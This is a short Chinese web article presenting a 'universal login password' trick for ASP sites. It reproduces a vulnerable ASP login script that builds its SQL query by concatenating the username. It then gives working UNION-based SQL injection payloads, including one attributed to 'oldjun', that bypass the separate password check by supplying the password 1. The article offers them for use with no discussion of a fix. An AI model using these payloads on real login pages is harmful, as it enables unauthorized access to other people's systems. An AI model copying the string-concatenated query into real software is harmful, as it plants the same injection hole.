当前位置： 移动技术网 > 网络运营>安全>企业安全 > ASP注入万能登陆密码

ASP注入万能登陆密码

2018年03月31日  | 移动技术网网络运营  | 我要评论
《黑客手册》样刊里面，oldjun提到一种新的万能登陆密码。比如网上有很多这样的登陆验证代码：

　　程序代码

　　<%

　　username=trim(request.form("username"))

　　password=trim(request.form("password"))

　　sql="select * from admin where user='"&username&"'"

　　set rs=server.createobject("adodb.recordset")

　　rs.open sql,conn,1,1

　　if rs.eof then

　　checksysuser=false

　　else

　　passwd=trim(rs("pwd"))

　　if passwd=password then

　　session("admin")=username

　　checksysuser=true

　　else

　　checksysuser=false

　　end if

　　end if

　　rs.close

　　conn.close

　　if checksysuser=true then

　　response.redirect("main.asp")

　　else

　　errmsg="<font color=#ff0000><b>用户名输入有误，请重新输入！</b></font>"

　　end if

　　%>

　　先在数据库中查询用户名对应的密码，然后再和用户输入的密码对比，导致'or'='or'这样的万能登陆密码失效。

　　但如果在上面的程序中，用户名输入 程序代码

　　' union select 1,1,1 from admin where ''='

　　，密码输入1，就可以登陆成功，原理很简单，就不多说了。

　　顺便附上oldjun的语句：

　　程序代码

　　' union select 1,1,1 as pwd from admin where ''='

您可能感兴趣的文章:

如对本文有疑问， 点击进行留言回复！！

相关文章:

验证码：
最近更新的文章
大家感兴趣的文章
移动技术网